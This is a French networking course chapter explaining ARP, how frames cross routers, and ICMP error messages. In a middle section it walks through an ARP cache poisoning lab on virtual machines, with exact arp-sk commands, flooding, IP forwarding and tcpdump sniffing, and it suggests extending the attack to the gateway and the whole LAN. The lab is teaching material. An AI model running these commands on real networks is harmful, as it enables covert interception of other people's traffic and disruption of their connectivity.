Apprenez le fonctionnement des réseaux TCP/IP
Last updated on Thursday, July 10, 2014
  • 4 semaines
  • Facile

Ce cours est visible gratuitement en ligne.

Videos available in this course

Paperback available in this course

Ce cours existe en eBook.

Certificate of achievement available at the end this course

Got it!

Les autres protocoles

Nous avons vu comment les paquets circulaient d'un réseau à un autre et comment ils étaient aiguillés. Nous avons aussi vu avec la couche 2 comment les paquets circulaient au sein d'un même réseau.

Y a-t-il un lien entre la couche 2 et la couche 3 ? Par ailleurs, IP est-il le seul protocole de couche 3 utilisé aujourd'hui ?
Nous allons maintenant nous pencher sur ces questions, et y apporter des réponses ! :p

Le protocole ARP

Pourquoi encore un protocole ?

Vous allez vite le comprendre ! Prenons le schéma de la figure suivante.

Réseau simple

Imaginons que la machine 192.168.0.1 veuille envoyer un message à la machine 192.168.1.2.

Nous allons reconstituer son raisonnement.
Lors d'un envoi de message, nous traversons les couches du modèle OSI de la couche application vers la couche réseau.
Nous traversons donc la couche 7, puis la couche 4, et enfin la couche 3 que nous connaissons maintenant.
La couche 3 voit que nous voulons envoyer un paquet à la machine 192.168.1.2. Elle va donc chercher dans sa table de routage par qui il faut passer pour envoyer ce message.

Table de routage de 192.168.0.1

Réseau à joindre

passerelle

192.168.0.0/24

192.168.0.1

192.168.1.0/24

192.168.0.254

Il est clairement indiqué que nous devons passer par la passerelle 192.168.0.254 pour joindre le réseau 192.168.1.0/24 qui contient l'adresse que l'on veut joindre. Notre machine sait donc qu'il va falloir envoyer le paquet à 192.168.0.254.
La machine 192.168.0.254 est sur notre réseau, donc pour lui envoyer la trame nous devons connaître son adresse MAC. Or, nous ne la connaissons pas...

Comment faire pour connaître l'adresse MAC de 192.168.0.254 ?

Il faudrait pouvoir la lui demander, mais pour lui demander il faudrait connaître son adresse MAC, et pour connaître son adresse MAC il faudrait la lui demander... c'est une fois de plus l'histoire de la poule et de l’œuf.

Mais il y a une solution : le protocole ARP !

Le protocole ARP

Comment faire pour envoyer un message à une machine sur notre réseau sans connaître son adresse MAC ?

Si vous vous rappelez bien, nous avons vu quelque chose qui nous le permettait... il s'agit de l'adresse de broadcast !

Nous pouvons envoyer un message à l'adresse de broadcast en demandant "est-ce que 192.168.0.254 peut m'envoyer son adresse MAC ?"
Grâce à l'adresse de broadcast ce message sera envoyé à tout le monde, et donc 192.168.0.254 le recevra et pourra nous renvoyer son adresse MAC.
C'est ce que l'on appelle une requête ARP ou aussi un broadcast ARP.

Nous pourrons alors envoyer notre trame à la machine 192.168.0.254 qui, grâce à sa table de routage, pourra aiguiller notre message vers la destination 192.168.1.2.

Mais les broadcasts ne risquent-ils pas de saturer le réseau à chaque fois que l'on veut envoyer une information ?

Bien sûr, et c'est pour cela qu'un mécanisme complémentaire a été mis en place, la table ARP.

La table ARP

Pour éviter d'avoir à renvoyer en permanence des broadcasts ARP à chaque fois que l'on veut envoyer une information à une machine, nous allons utiliser une table qui va garder les associations adresses IP <-> Adresses MAC pendant un court moment.
Ainsi, si j'envoie un paquet à ma passerelle, je noterai son adresse MAC dans ma table ARP et la prochaine fois que je voudrai lui parler, je n'aurai plus à envoyer de broadcast sur le réseau.

La table ARP va donc associer adresse IP et adresse MAC correspondante.

Voici un exemple de (grosse !) table ARP sous Unix :

# arp -an
? (10.8.98.3) at 00:26:bb:16:21:84 on sis4
? (10.8.98.85) at 00:18:71:ea:55:03 on sis4
? (10.8.98.205) at 00:18:f3:0a:38:dc on sis4
? (10.8.98.235) at 00:08:02:3f:ee:bb on sis4
? (10.8.99.179) at 00:0c:29:58:9c:18 on sis4
? (10.8.99.181) at 00:0c:29:93:e5:02 on sis4
? (10.8.99.182) at 00:0c:29:ed:8e:d4 on sis4
? (10.8.99.183) at 00:0c:29:7d:1d:6e on sis4
? (10.8.99.184) at 00:0c:29:04:7d:35 on sis4
? (10.8.99.185) at 00:0c:29:ad:70:1f on sis4
? (10.8.99.186) at 00:0c:29:8a:59:a4 on sis4
? (10.8.99.187) at 00:0c:29:38:8d:59 on sis4
? (10.8.99.201) at 00:1e:2a:49:a7:61 on sis4
? (10.8.99.230) at 00:e0:4c:a1:c7:21 on sis4
? (10.8.100.15) at 78:d6:f0:0b:ed:27 on sis4
? (10.8.100.37) at 00:0c:29:06:04:cc on sis4
? (10.8.100.38) at 00:0c:29:bf:93:8b on sis4
? (10.8.100.39) at 00:0c:29:61:e8:68 on sis4
? (10.8.100.40) at 00:0c:29:7b:ca:40 on sis4
? (10.8.100.41) at 00:0c:29:c6:49:27 on sis4
? (10.8.111.255) at (incomplete) on sis4
? (192.168.1.1) at 00:19:15:25:d5:3c on sis0
? (192.168.1.15) at 00:00:24:c6:1f:40 on sis0 static
? (192.168.1.48) at (incomplete) on sis0

On voit ici que ma machine dialogue avec beaucoup d'autres machines sur son réseau. Mais c'est normal puisqu'il s'agit de la passerelle de sortie de mon réseau.

Ainsi, quand la passerelle voudra envoyer un paquet à l'adresse 10.8.100.41, elle connaîtra directement son adresse MAC.

Mais si jamais je change la carte réseau de ma machine ? Elle changera aussi d'adresse MAC, mais ce sera l'ancienne qui sera indiquée dans la table ?

Non, car les informations contenues dans la table ARP ont une durée de vie limitée. En gros, une valeur va rester environ deux minutes dans la table avant d'être effacée s'il n'y a pas eu de dialogue avec cette adresse entre-temps. C'est pour cela que l'on dit que la table ARP est dynamique. Elle évolue au cours du temps en fonction des machines avec lesquelles je dialogue.

La commande sous Unix pour voir sa table ARP est arp -an ; elle est arp -a sous Windows.
Bien sûr vous risquez de voir peu de chose chez vous s'il n'y a que deux ou trois machines sur votre réseau.

Déroulement de A à Z d'une requête ARP

Reprenons l'exemple précédent : nous sommes la machine 192.168.0.1 et voulons envoyer un message à la machine 192.168.1.2.
Nous savons que nous voulons joindre d'abord le routeur 192.168.0.254, mais ne connaissons pas son adresse MAC.
C'est là que le protocole ARP entre en jeu :

  • on regarde d'abord dans la table ARP locale si on possède l'association entre l'adresse IP 192.168.0.254 et son adresse MAC ;

  • si on la possède, on envoie l'information et c'est terminé ;

  • sinon, on envoie un broadcast ARP sur le réseau ;

  • la machine 192.168.0.254 va nous répondre avec son adresse MAC ;

  • nous allons noter cette adresse MAC dans notre table ARP ;

  • nous allons enfin pouvoir envoyer notre information.

Nous savons maintenant comment font les machines pour passer d'une adresse IP à joindre à l'adresse MAC correspondante : grâce au protocole ARP !

Mais à quelle couche appartient ce protocole : 2 ou 3 ?

Je vous laisse chercher tout seul, vous faire votre idée, puis lire la réponse... ;)

Le protocole ARP est un protocole de couche... 2 ET 3 !
Oui, il manipule des informations de couche 2, les adresses MAC, et des informations de couche 3, les adresses IP. Ainsi, on dit que ce protocole est "à cheval" entre ces deux couches.
Maintenant que nous connaissons ce protocole et son utilité, nous allons revoir de A à Z une communication entre deux machines.

Récapitulons tout cela !

Nous allons une fois de plus reprendre l'exemple précédent entre la machine 192.168.0.1 et 192.168.1.2 (voir la figure suivante), et imaginer que la machine 192.168.0.1 veuille faire une requête web vers la machine 192.168.1.2.

Réseau simple

Détail de la communication

Étape 1, la machine locale

Comme nous l'avons vu précédemment, notre information va traverser les différentes couches du modèle OSI (voir la figure suivante).

Encapsulation

Une fois au niveau de la couche 3, nous regardons alors la table de routage, et savons qu'il faut envoyer le paquet à 192.168.0.254 pour sortir de notre réseau. Nous faisons une requête ARP et obtenons l'adresse MAC de 192.168.0.254.

Nous pouvons maintenant former la trame qui va circuler sur le réseau :

@MAC 192.168.0.254

@MAC 192.168.0.1

IP

???

IP SRC: 192.168.0.1

IP DST: 192.168.1.2

Données à envoyer

CRC

Notre trame peut donc maintenant sortir sur notre câble !

Étape 2, le switch

La première machine qui va la recevoir est... le switch du réseau 192.168.0.0/24.

Il reçoit la trame et lit l'adresse MAC de destination.
Il va voir sa table CAM pour savoir s'il connaît cette adresse MAC, et voir sur lequel de ses ports il faut renvoyer la trame.

Si jamais il ne trouve pas l'adresse MAC, il la renverra sur tous ses ports actifs !
Il peut donc maintenant renvoyer la trame sur son port de sortie, qui est connecté au routeur. Le routeur reçoit la trame.

Étape 3, le routeur

La trame arrive à la couche 2 du routeur qui lit l'adresse MAC de destination.
C'est la sienne ! Il va donc finir de lire l'en-tête de couche 2, enlever l'en-tête Ethernet et envoyer le datagramme IP qu'il reste, au protocole de couche 3 indiqué dans l'en-tête.

La couche 3 va lire tout l'en-tête de couche 3, et notamment l'adresse IP de destination.
Le routeur voit alors que ce n'est pas son adresse, il sait donc qu'il va devoir renvoyer ce datagramme vers la machine de destination.
Il va donc chercher dans sa table de routage à quelle passerelle envoyer le paquet afin de joindre la machine 192.168.1.2.

Cette adresse appartient à l'un de ses propres réseaux, il va donc pouvoir lui envoyer le paquet directement.

Cependant, pour envoyer la trame sur le réseau, il va avoir besoin de l'adresse MAC de 192.168.1.2. Il va donc faire une requête ARP.
Une fois l'adresse MAC de 192.168.1.2 reçue, il va pouvoir former la trame et l'envoyer sur le réseau.

@MAC 192.168.1.2

@MAC 192.168.2.254

IP

???

IP SRC: 192.168.0.1

IP DST: 192.168.1.2

Données à envoyer

CRC

On remarque ici que seules les informations de couche 2 ont été modifiées !

La trame va donc sortir du routeur.

Étape 4, le retour du switch

La trame va arriver au switch, mais cette fois il s'agit du switch du réseau 192.168.1.0/24 qui n'est pas le même que le premier.
Il va regarder l'adresse MAC de destination et aiguiller la trame vers la machine 192.168.1.2.

Étape 5, réception par la machine 192.168.1.2

La machine 192.168.1.2 va recevoir la trame en couche 2 et va lire l'adresse MAC de destination.
C'est la sienne. Elle va donc lire la suite de l'en-tête et renvoyer le datagramme contenu dans la trame à la couche 3, c'est-à-dire au protocole IP.
La couche 3 reçoit le datagramme et lit l'en-tête.
L'adresse IP de destination est la sienne, elle va donc envoyer les informations à la couche 4, qui va elle-même envoyer les informations à la couche 7 applicative.

Et le message est enfin reçu, ouf ! :D

Nous avons vu une partie seulement des étapes d'un dialogue entre deux machines sur un réseau. Nous verrons plus tard qu'il y a de nombreuses autres étapes. Et dire que tout cela se passe en quelques millisecondes !

Maintenant que nous avons compris comment se déroulait un dialogue sur un réseau local ET entre réseaux, nous allons pouvoir commencer à faire des choses intéressantes, et notamment jouer les apprentis pirates.

Mise en pratique : écouter le voisin

Voici un chapitre qui devrait vous plaire, on commence à utiliser les connaissances que l'on a acquises pour mettre en place des techniques originales.
Nous allons essayer de réaliser une attaque réseau qui permet d'écouter le trafic d'une autre machine qui est connectée sur le même réseau que nous.

Le principe

L'attaque est basée sur le détournement du fonctionnement du protocole ARP. C'est pour cela qu'elle s'appelle du ARP cache poisonning.
Nous allons en réalité modifier à distance la table ARP d'une autre machine...

La théorie

Dans le meilleur des mondes, une machine fait un broadcast ARP, et la machine destinataire répond en fournissant son adresse MAC.

Mais que se passerait-il si je décidais aussi de répondre avec ma propre adresse MAC ?

Eh bien ce serait la dernière réponse qui serait prise en compte.

Par exemple, je peux tout à fait attendre de voir passer une requête ARP qui ne m'est pas destinée. J'attends deux secondes pour y répondre, et je suis alors quasiment sûr que ce sera ma réponse qui sera prise en compte. Et si j'ai mis dans la réponse ma propre adresse MAC, ce sera mon adresse MAC qui sera associée à l'adresse IP de la machine destinataire de la requête dans la table ARP du demandeur.

Prenons le schéma de la figure suivante comme exemple.

Réseau local

Nous avons trois machines d'adresses 192.168.0.1, 192.168.0.2 et 192.168.0.3.

Imaginons que nous sommes la machine 192.168.0.2 et que nous voulions écouter le trafic envoyé entre 192.168.0.1 et 192.168.0.3.
La machine 192.168.0.1 veut envoyer un message à la machine 192.168.0.3. Elle commence donc par envoyer un broadcast ARP afin de déterminer l'adresse MAC de 192.168.0.3.
192.168.0.3 répond à la requête ARP (elle répond directement à la machine 192.168.0.1, elle n'a pas besoin d'envoyer son message en broadcast à tout le monde). Et nous décidons de répondre aussi deux secondes plus tard.

En recevant la première réponse de 192.168.0.3, la machine 192.168.0.1 va mettre à jour sa table ARP :

Adresse IP

Adresse MAC

192.168.0.3

@MAC de 192.168.0.3

Table ARP de 192.168.0.1

Ce qui est tout à fait normal.

Mais la machine 192.168.0.1 va recevoir une nouvelle réponse, celle que nous avons envoyée et qu'elle va prendre en compte ! Or, cette réponse associe, non pas l'adresse IP de 192.168.0.3 à l'adresse MAC de 192.168.0.3, mais à notre adresse MAC, celle de 192.168.0.2.

Adresse IP

Adresse MAC

192.168.0.3

@MAC de 192.168.0.2

Table ARP de 192.168.0.1

Ainsi, désormais et jusqu'à ce que la table ARP soit mise à jour ou que la machine 192.168.0.3 ne lui envoie un paquet, la machine 192.168.0.1 va nous envoyer ses paquets en pensant les envoyer à 192.168.0.3.

Il ne nous reste plus qu'à faire la même attaque envers 192.168.0.3 pour modifier sa table ARP, pour pouvoir intercepter tous les échanges entre ces deux machines !

Amélioration de l'attaque

Cependant, nous avons deux problèmes actuellement :

  • si une des machines réussit à envoyer une réponse ARP à l'autre après la nôtre, la table ARP sera remise à jour correctement et l'attaque ne fonctionnera plus ;

  • au bout d'un certain temps, la table ARP se videra et l'attaque ne marchera plus.

Mais il y a une solution ! Et c'est le fonctionnement de ARP qui nous l'offre.

En fait, quand une machine reçoit une réponse ARP, même si elle n'a rien demandé, elle va prendre les informations contenues dans cette réponse comme étant valides et plus à jour que celles qu'elle possède déjà. Ainsi, on ne sera pas obligés d'attendre une requête ARP pour répondre.
On pourra "bombarder" la machine destination de réponses ARP pour être sûrs que sa table n'est jamais correctement remise à jour.

On sera sûrs alors de recevoir tout le trafic, tant que l'on fera durer l'attaque.

Tout cela est bien joli, mais comment on peut faire tout ça ?

Eh bien, des outils existent, et nous permettent de le faire facilement.

Mise en pratique

Nous allons utiliser trois de nos machines virtuelles pour mettre en œuvre cette attaque.
Maintenant que vous êtes à l'aise sous Linux pour modifier la configuration réseau de vos machines, donnez-leur les adresses du schéma précédent : 192.168.0.1, 192.168.0.2 et 192.168.0.3.

Nous pouvons faire un ping de 192.168.0.1 vers 192.168.0.3 et regarder la table ARP de chacune de ces machines ensuite :

debian201:~# ping 192.168.0.3
PING 192.168.0.3 (192.168.0.3) 56(84) bytes of data.
64 bytes from 192.168.0.3: icmp_seq=1 ttl=64 time=3.11 ms
64 bytes from 192.168.0.3: icmp_seq=2 ttl=64 time=0.107 ms
^C
--- 192.168.0.3 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1006ms
rtt min/avg/max/mdev = 0.107/1.610/3.114/1.504 ms
debian201:~# arp -an
? (192.168.0.3) at 00:0c:29:c6:49:27 [ether] on eth0
? (192.168.0.254) at 00:26:bb:16:21:84 [ether] on eth0

Nous voyons ici que la machine 192.168.0.3 possède l'adresse MAC 00:0c:29:c6:49:27.

Nous pouvons aussi regarder la table ARP de 192.168.0.3, car vu qu'elle a répondu à 192.168.0.1, elle possède son adresse MAC dans sa table :

debian203:~# arp -an
? (192.168.0.1) at 00:0c:29:61:e8:68 [ether] on eth0
? (192.168.0.254) at 00:26:bb:16:21:84 [ether] on eth0

Ainsi, nous voyons que la machine 192.168.0.1 possède l'adresse MAC 00:0c:29:61:e8:68.

Maintenant, plaçons-nous sur la machine 192.168.0.2 et préparons l'attaque.
Pour cela, nous allons avoir besoin d'un logiciel qui fabrique des paquets truqués pour nous. Il y en a plusieurs, nous allons faire cela à l'aide de arp-sk.

Installation de arp-sk

Sinon, pour ceux qui sont sous leur propre Debian, ça va être relativement simple, car il existe un package debian pour que l'installation soit facile (attention les Ubuntus, passez votre chemin, cela ne marchera pas...). Donc nous allons télécharger le package en ligne de commande à l'aide de la commande wget.

Retournons à nos machines sous Debian:

debian201:~# wget http://debian.zorglub.org/packages/arp-sk/arp-sk_0.0.16-1_i386.deb
--2011-05-10 15:06:59--  http://debian.zorglub.org/packages/arp-sk/arp-sk_0.0.16-1_i386.deb
Résolution de debian.zorglub.org... 91.121.79.101
Connexion vers debian.zorglub.org|91.121.79.101|:80...connecté.
requête HTTP transmise, en attente de la réponse...200 OK
Longueur: 25180 (25K) [application/x-debian-package]
Saving to: `arp-sk_0.0.16-1_i386.deb.1'

100%[==================================================================================================================>] 25 180
      --.-K/s   in 0,1s    

2011-05-10 15:06:59 (255 KB/s) - « arp-sk_0.0.16-1_i386.deb.1 » sauvegardé [25180/25180]

debian201:~#

Nous avons donc récupéré le fichier arp-sk_0.0.16-1_i386.deb.
Comme son extension l'indique, c'est un package debian. Pour l'installer, il suffit d'utiliser l'ancêtre d'apt qui est dpkg :

debian201:~# dpkg -i arp-sk_0.0.16-1_i386.deb.1
(Lecture de la base de données... 28276 fichiers et répertoires déjà installés.)
Préparation du remplacement de arp-sk 0.0.16-1 (en utilisant arp-sk_0.0.16-1_i386.deb.1) ...
Dépaquetage de la mise à jour de arp-sk ...
Paramétrage de arp-sk (0.0.16-1) ...
Traitement des actions différées (« triggers ») pour « man-db »...

Et hop, arp-sk est installé !
Regardons rapidement sa syntaxe en tapant simplement arp-sk :

debian201:~# arp-sk
arp-sk version 0.0.16 (Tue Dec 21 20:48:52 CET 2004)
Author: Frederic Raynal <pappy@security-labs.org>

Usage: arp-sk
-w --who-has       send a ARP Who-has
-r --reply         send a ARP Reply
-p --arping        (bad) RARP emulation (NOT YET IMPLEMENTED)
-m --arpmim        Man in the Middle (NOT YET IMPLEMENTED)

-d --dst           dst in link layer (<hotname|hostip|MAC>)
-s --src           dst in link layer (<hotname|hostip|MAC>)
--rand-hwa         set random addresses in link header
--rand-hwa-dst     set random dst in link header
--rand-hwa-src     set random src in link header

-D --arp-dst       dst in ARP message ([hostname|hostip][:MAC])
-S --arp-src       dst in ARP message ([hostname|hostip][:MAC])
--rand-arp         set random adresses in ARP message
--rand-arp-dst     set random dst adresses in ARP message
--rand-arp-src     set random src adresses in ARP message
--rand-arp-hwa-dst set random dst MAC adress in ARP message
--rand-arp-log-dst set random dst IP adress in ARP message
--rand-arp-hwa-src set random src MAC adress in ARP message
--rand-arp-log-src set random src IP adress in ARP message

-i --interface     specify interface (eth0)
-c --count         # of packets to send (infinity)
-T --time          wait the specified number of seconds between sending \
                   each packet (or X micro seconds with -T uX)
--rand-time        randomize the sending period of the packets
--beep             beeps for each packet sent
-n --network       broadcast address to use for icmp-timestamp
--use-ts           an icmp-timestamp is send to resolve MAC to IP
-N --call-dns      force address resolution in outputs (default is off)
-V --version       print version and exit
-h --help          this help :)
Mise en œuvre de l'attaque

Nous voyons rapidement que nous pouvons utiliser l'option -w pour envoyer une requête ARP et l'option -r pour envoyer une réponse ARP. Enfin, nous pouvons jouer sur les paramètres -s et -d pour modifier les adresses MAC source et destination et -S et -D pour les adresses IP source et destination.

Si nous voulons envoyer notre premier paquet pour modifier la table ARP de 192.168.0.1, il faudra donc envoyer une trame dans laquelle l'adresse MAC source est la nôtre et l'adresse IP source est celle de 192.168.0.3. Ainsi, la machine 192.168.0.1 associera dans sa table mon adresse MAC pour l'adresse IP de 192.168.0.3.

Les options pour les adresses seront donc :
-s 192.168.0.2 -d 192.168.0.1 -S 192.168.0.3 -D 192.168.0.1

Nous pouvons essayer directement sur la machine :

debian201:~# arp-sk -i eth0 -r -s 192.168.0.2 -d 192.168.0.1 -S 192.168.0.3 -D 192.168.0.1
+ Initialization of the packet structure
+ Running mode "reply"
+ Ifname: eth0
- Warning: can't find MAC addr for 192.168.0.2 => using local.
+ Source MAC: 00:0c:29:7b:ca:40
+ Source ARP MAC: 00:0c:29:7b:ca:40
+ Source ARP IP : 192.168.0.3 
+ Target MAC: 00:0c:29:61:e8:68
+ Target ARP MAC: 00:0c:29:61:e8:68
+ Target ARP IP : 192.168.0.1

--- Start classical sending ---
TS: 15:22:05.371525
To: 00:0c:29:61:e8:68 From: 00:0c:29:7b:ca:40 0x0806
    ARP For 192.168.0.1 (00:0c:29:61:e8:68):
        192.168.0.3 is at 00:0c:29:7b:ca:40

Pour être sûrs que l'attaque fonctionne, je vous conseille de faire un ping de 192.168.0.1 vers 192.168.0.3 juste avant, pour que 192.168.0.1 possède une entrée pour 192.168.0.3 dans sa table ARP.

Voici la table ARP de 192.168.0.1 juste avant l'attaque :

debian201:~# arp -an
? (192.168.0.3) at 00:0c:29:c6:49:27 [ether] on eth0
? (192.168.0.2) at 00:0c:29:7b:ca:40 [ether] on eth0
? (192.168.0.254) at 00:26:bb:16:21:84 [ether] on eth0

Et juste après :

debian201:~# arp -an
? (192.168.0.3) at 00:0c:29:7b:ca:40 [ether] on eth0
? (192.168.0.2) at 00:0c:29:7b:ca:40 [ether] on eth0
? (192.168.0.254) at 00:26:bb:16:21:84 [ether] on eth0

On voit bien que l'adresse MAC associée à l'adresse IP de 192.168.0.3 a changée et qu'elle est maintenant la mienne.

Amélioration de l'attaque

Nous avions vu que, pour que l'attaque soit efficace, il faudrait bombarder la victime de réponses ARP.
Avec arp-sk c'est facile à réaliser à l'aide de l'option -T. Nous allons envoyer dix réponses par seconde :
arp-sk -i eth0 -r -s 192.168.0.2 -d 192.168.0.1 -S 192.168.0.3 -D 192.168.0.1 -T u10000

Vous pouvez voir que cela va maintenant très vite !
De plus, il y a très peu de chances pour que 192.168.0.3 arrive à envoyer une réponse ARP qui écrase la nôtre.

Mais quel est l'intérêt de cette attaque ?

Conséquences et objectifs de l'attaque

Menez l'attaque et essayez d'envoyer un ping de 192.168.0.1 à 192.168.0.3.

Que se passe-t-il ?

Il n'est plus possible de pinguer !

debian201:~# ping 192.168.0.3
PING 192.168.0.3 (192.168.0.3) 56(84) bytes of data.
^C
--- 192.168.0.3 ping statistics ---
4 packets transmitted, 0 received, 100% packet loss, time 3012ms

Et pourquoi donc ?

En fait, les paquets sont envoyés à 192.168.0.2 (notre machine) et la couche 3 les rejette, car le routage n'est pas activé.
Dès lors que nous activons le routage, les pings passent. Sur la machine 192.168.0.2 :
debian202:~# echo 1 > /proc/sys/net/ipv4/ip_forward

Et le résultat sur la machine 192.168.0.1 :

debian201:~# ping 192.168.0.3
PING 192.168.0.3 (192.168.0.3) 56(84) bytes of data.
64 bytes from 192.168.0.3: icmp_seq=1 ttl=64 time=0.155 ms
64 bytes from 192.168.0.3: icmp_seq=2 ttl=64 time=0.128 ms
^C
--- 192.168.0.3 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 999ms
rtt min/avg/max/mdev = 0.128/0.141/0.155/0.018 ms

Le ping passe bien à nouveau. Nous venons de découvrir qu'un premier objectif de l'attaque peut être d'empêcher deux machines de communiquer entre elles.
Une fois le routage activé, nous pouvons aussi observer le dialogue entre 192.168.0.1 et 192.168.0.3.

Essayons de le voir.

  • Nous lançons l'attaque depuis 192.168.0.2.

  • Nous lançons un ping de 192.168.0.1 vers 192.168.0.3.

  • Nous écoutons sur 192.168.0.2 pour voir si l'on voit passer le ping.

Comme pour le TP sur le routage, nous allons utiliser tcpdump :

debian202:~# tcpdump icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
16:13:04.240711 IP 192.168.0.1 > 192.168.0.3: ICMP echo request, id 46126, seq 301, length 64
16:13:04.245476 IP 192.168.0.1 > 192.168.0.3: ICMP echo request, id 46126, seq 301, length 64

Nous pouvons remarquer deux choses :

  • nous voyons bien passer les requêtes ping ;

  • nous ne voyons pas passer les réponses renvoyées par 192.168.0.3 ?!

Pourquoi ne voit-on pas passer les réponses ?

Parce que nous n'avons lancé l'attaque que dans un sens !
Nous n'avons pas encore modifié la table ARP de 192.168.0.3. Donc il renvoie normalement ses réponses directement à 192.168.0.1 sans passer par nous. Essayez de mener l'attaque dans les deux sens et observez si vous voyez bien passer les réponses au ping.

Encore une amélioration de l'attaque

Nous avons vu que grâce à cette attaque, nous sommes capables d'écouter le trafic entre deux machines sur un réseau local.

Mais n'y aurait-il pas une machine particulière sur le réseau qu'il serait intéressant d'écouter ?

Bien sûr ! C'est notre passerelle, car elle voit passer tout le trafic des machines du réseau local vers Internet !
Ainsi, si je menais l'attaque entre une machine du réseau local et la passerelle, je pourrais voir le trafic Internet de cette machine...
Mais nous pouvons faire encore mieux !

Encore une amélioration de l'amélioration de l'attaque

Nous pouvons écouter le trafic entre une machine et la passerelle mais, tant qu'à faire, il serait encore mieux d'écouter le trafic entre toutes les machines du réseau et la passerelle.
Pour cela, nous pouvons utiliser l'adresse IP de broadcast en adresse IP de destination pour envoyer notre attaque et nous toucherons ainsi directement toutes les machines du réseau (le sens inverse de l'attaque devra par contre être fait pour chacune des machines).

Nous avons vu le protocole ARP et comment l'utiliser à des fins peu recommandables. :ninja:
Mais nous allons voir qu'il existe d'autres protocoles de couche 3, notamment celui qui nous sert déjà depuis un petit moment à envoyer des pings ou à faire des traceroute, le protocole ICMP.

Le protocole ICMP

Encore un protocole pour la couche 3 !

N'oublions pas que nous avons vu que le protocole ARP n'était pas un vrai protocole de couche 3 :

  • il était à cheval sur les couches 2 et 3 ;

  • son rôle n'était pas de transporter de l'information, mais de faire la liaison entre des adresses.

Le protocole ICMP, lui, ne va pas non plus concurrencer le protocole IP, car son objectif n'est pas de transporter de l'information.
Son rôle est de contrôler les erreurs de transmission, et d'aider au débogage réseau.

Pourquoi un autre protocole ?

Nous avons vu dans les TP précédents que la configuration du routage sur un réseau n'est pas toujours facile. Et quand ça ne marche pas, il n'est pas facile non plus de trouver d'où vient l'erreur.
L'un des objectifs du protocole ICMP est justement de nous faciliter le débogage réseau !

En gros, son utilisation nous permet de comprendre rapidement d'où peut venir un problème réseau, et de nous donner des outils pour investiguer un problème réseau.

Entrons sans plus tarder dans le vif du sujet pour comprendre ce protocole.

Fonctionnement du protocole

Il y a globalement deux rôles principaux pour le protocole ICMP :

  • ICMP sert à indiquer automatiquement des erreurs quand elles surviennent ;

  • ICMP peut fournir des outils pour étudier un problème réseau.

Nous allons commencer par voir les messages ICMP automatiques.

Les messages automatiques

Il y a deux informations qui nous intéressent dans l'en-tête ICMP, le type et le code. Le type permet de dire à quoi sert le message ICMP, le code permettant de préciser le rôle du message.

Par exemple, un paquet ICMP de type 3 indique que le destinataire n'est pas accessible.
Si j'envoie un paquet à une machine B et que je reçois un message ICMP de type 3, je sais qu'il y a eu un problème sur le réseau.
Maintenant, le code du message va me dire ce qui a précisément posé problème :

  • un code égal à 0 me dira que le réseau n'est pas accessible (globalement, qu'un routeur sur le chemin n'a pas de route pour le réseau destination) ;

  • un code égal à 1 me dira que la machine n'est pas accessible (une requête ARP a sûrement été envoyée par le dernier routeur, mais personne n'y a répondu) ; etc.

Au niveau de ma machine, si j'ai fait un ping par exemple, je verrai un message comme "Destination unreachable" dans ma ligne de commande. Mais si je suis en environnement graphique, il y a toutes les chances pour que je n'aie aucune information ICMP qui s'affiche, même si le paquet ICMP automatique a bien été reçu par ma machine.
Il faut dans ce cas sortir un sniffer comme tcpdump ou wireshark pour voir les messages d'erreur ICMP circuler sur le réseau.

Nous avons vu le premier type de message automatique, le type 3, mais il y en a d'autres, voici les plus utilisés :

  • type 5, ICMP redirect, indique qu'il y a un chemin plus court vers la destination ;

  • type 11, TTL exceeded, indique que la durée de vie du paquet a expiré.

Le premier est utilisé quand un routeur renvoie un paquet par l'interface depuis laquelle il l'a reçu. Cela veut dire qu'il n'est pas nécessaire de passer par lui et qu'il y a un chemin plus court. Ceci permet à l'administrateur qui voit passer ces messages d'améliorer le routage sur son réseau.

Le second est très utilisé. Pour le comprendre, vous devez déjà apprendre ce qu'est le TTL dans l'en-tête IP.
Nous avons déjà vu un TTL, c'était celui de la table CAM du switch. Il indiquait la durée de vie d'une information dans la table.
Eh bien un mécanisme équivalent a été implémenté dans le protocole IP pour éviter que les paquets ne circulent indéfiniment entre différents routeurs.

Imaginons qu'un routeur A ait comme passerelle par défaut un routeur B, et que le routeur B ait comme passerelle par défaut le routeur A.
Un paquet envoyé à l'un des routeurs à destination d'un autre réseau va circuler alternativement d'un routeur à l'autre, comme une balle de ping-pong, sans jamais s'arrêter. Après quelque temps, beaucoup de paquets feront de même, et le réseau sera saturé.

Pour éviter ce problème, on a implémenté un système de TTL dans l'en-tête IP. Quand une machine envoie un paquet IP sur le réseau, un des éléments de l'en-tête est le TTL qui est une valeur entre 0 et 255. Par exemple, tout paquet envoyé depuis un Linux a un TTL de 64, cela varie d'un système à l'autre, 64 étant la plus petite.
À chaque passage par un routeur, celui-ci va enlever 1 au TTL. Si le TTL arrive à 0, il jette le paquet à la poubelle ET envoie un message d'erreur ICMP "TTL exceeded".

Ainsi, si un paquet fait une partie de ping-pong entre deux routeurs, le processus s'arrêtera quand le TTL sera arrivé à 0. Grâce au TTL, on évite la saturation d'un réseau par mauvaise configuration de routage. Le message ICMP TTL exceeded permet, en plus, de comprendre le problème réseau.

Exemple de la vie réelle

J'essayai un jour de joindre le site web home.t-online.de. Cependant, le site ne s'affichait pas.
J'ai sorti mon sniffer wireshark pour voir ce qui se passait au niveau réseau et j'ai vu une multitude de paquets d'erreur ICMP TTL exceeded. Je sus qu'il y avait donc une boucle de routage.

J'ai donc fait un traceroute vers ce site pour essayer de voir où le problème se situait, voici le résultat :

oasis:~# traceroute -I home.t-online.de
traceroute: Warning: home.t-online.de has multiple addresses; using 80.150.6.141
traceroute to home.t-online.de (80.150.6.141), 30 hops max, 38 byte packets
 1  81.255.207.234 (81.255.207.234)  0.858 ms  0.639 ms  0.576 ms
 2  81.54.100.109 (81.54.100.109)  24.186 ms  26.186 ms  24.745 ms
 3  POS-1-0.RASG3.Raspail.transitip.raei.francetelecom.net (81.52.1.18)  27.323
ms  24.169 ms  24.555 ms
 4  193.253.14.229 (193.253.14.229)  23.600 ms  29.193 ms  23.694 ms
 5  pos12-0.nraub203.Aubervilliers.francetelecom.net (193.252.98.206)  68.884 ms
  28.058 ms  28.776 ms
 6  193.252.159.126 (193.252.159.126)  23.305 ms  24.051 ms  22.996 ms
